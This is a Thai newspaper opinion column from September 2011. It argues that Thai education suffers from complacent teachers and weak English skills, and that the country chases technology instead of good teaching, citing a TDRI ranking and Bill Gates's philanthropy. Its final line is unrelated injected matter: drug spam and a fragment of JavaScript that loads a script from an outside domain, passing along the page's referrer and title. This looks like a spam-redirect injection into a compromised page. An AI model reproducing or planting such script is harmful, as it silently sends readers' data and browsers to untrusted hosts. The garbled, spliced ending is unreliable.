มติชนรายวัน ฉบับประจำวันจันทร์ที่ 5 กันยายน 2554

         ครูชนบทไม่ห่างกรุงเทพฯ มากนัก ไม่พอใจผู้วิพากษ์วิจารณ์การเรียนการสอนของครูและการศึกษาไทย

ในระบบราชการลักษณะเจ้าขุนมูลนายสูงอย่างกระทรวงศึกษาธิการ ครูชนบทเหล่านั้นไม่ต้องการข้อวิพากษ์วิจารณ์ ไม่ต้องการการเปลี่ยนแปลง เพราะเห็นว่าอยู่อย่างนี้ดีแล้ว

ครูชนบทเหล่านี้มองเห็นความเหลื่อมล้ำทางการศึกษา แต่เป็นความเหลื่อมล้ำที่เกิดจากเวรกรรม, พรหมลิขิต, ฯลฯ ไม่ใช่ความผิดพลาดทางเศรษฐกิจการเมืองของผู้มีอำนาจ

ผมจนปัญญาหาคำอธิบายไม่ได้ ว่าเหตุใดครูชนบทจึงคิดอย่างนั้น จำจะขอยกทัศนะของผู้รู้เกี่ยวกับการศึกษามาสู่กันอ่านต่อไปนี้

ภาษาอังกฤษของไทยรั้งท้าย 

“การศึกษาของไทยมีขีดความสามารถอยู่อันดับที่ 6 ของอาเซียน รองจาก สิงคโปร์, มาเลเซีย, บรูไน, อินโดนีเซีย, เวียดนาม”

นายยงยุทธ แฉล้มวงศ์ ผู้อำนวยการสถาบันวิจัยเพื่อการพัฒนาประเทศไทย (TDRI) เปิดเผยผลการวิจัยฯ ข้างต้น (มติชน ฉบับวันพุธที่ 31 สิงหาคม 2554 หน้า 22) แล้วบอกต่อไปอีกว่า

ทักษะภาษาอังกฤษของคนไทยอยู่อันดับที่ 43 ของทวีปเอเชีย (สิงคโปร์ อยู่อันดับที่ 6, ฟิลิปปินส์ อันดับ 16, มาเลเซีย อันดับที่ 23, อินโดนีเซีย อันดับ 42)

         “ไทยพัฒนาทักษะภาษาอังกฤษได้ช้า เพราะสอนแบบกลับหัวกลับหาง” 

บิล เกตส์ ไม่แจกแท็บเล็ต

         “บิล เกตส์ ทุ่มเงินแก้ปัญหาการศึกษา ด้วยการยกระดับครู ไม่ใช่แจกคอมพ์” เป็นชื่อข้อเขียนของ “กาแฟดำ” ในกรุงเทพธุรกิจ (วันพุธที่ 31 สิงหาคม 2554 หน้า 2) จะสรุปมาอีกต่อไปนี้

         บิล เกตส์ ให้ความสำคัญกับการยกระดับครู และวิธีการสอนในห้องเรียน มากกว่าตัวคอมพิวเตอร์ หรือซอฟต์แวร์ใดๆ

         หลักการในการยกระดับการศึกษาของเขา คือ หาคนที่เป็นครูได้ดี ฝึกปรือให้เขาและเธอเก่ง แล้วตอบแทนครูที่ทำหน้าที่ได้ดี

         ถ้าครูดี นักเรียนก็เก่ง ไม่ใช่มีคอมพิวเตอร์ฟรี แล้วนักเรียนจะเก่งเอง เพราะถ้าครูสอนไม่เป็น ไร้คุณภาพ นักเรียนย่อมต่ำกว่ามาตรฐาน

         บิล เกตส์ เป็นอภิมหาเศรษฐีเจ้าของบริษัท Microsoft ที่ตอบแทนสังคมด้วยการบริจาคเงินจำนวนมหาศาล เพื่อช่วยยกระดับการศึกษาของสหรัฐ

         เพราะเขาเห็นว่าหากมาตรฐานการศึกษาต่ำ บ้านเมืองก็จะแย่ ถ้าใช้เงินในทางที่ผิด การศึกษาจะแย่ต่อไป

ล้าหลัง คลั่งเทคโนโลยี

สังคมล้มละลายทางการศึกษา ทำให้ล้าหลังทางความคิดทันสมัย เลยคลั่งเทคโนโลยี ไม่มีสติ

แม้กระทั่งพิพิธภัณฑสถานแห่งชาติ ที่คนไทยไม่เข้าดู ก็มักจะแก้ปัญหาด้วยการซื้อเทคโนโลยีทันสมัยมาใส่ให้จัดแสดง ด้วยเชื่อว่าคนไทยจะเข้าชมมากขึ้น

แต่แล้วผลก็ออกมาว่าต่อให้ซื้อเทคโนฯ มหาศาล คนไทยก็ไม่เข้าพิพิธภัณฑ์อยู่ดีนั่นแหละ เพราะปัญหาอยู่ที่เนื้อหาจัดแสดง ไม่ได้อยู่ที่เทคโนโลยี อีหรอบเดียวกับการศึกษาไทย

แต่จะไม่โทษตัวเอง เลยโทษเทคโนโลยี 

viagra sublingual tablet doxycycline buy} else {s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;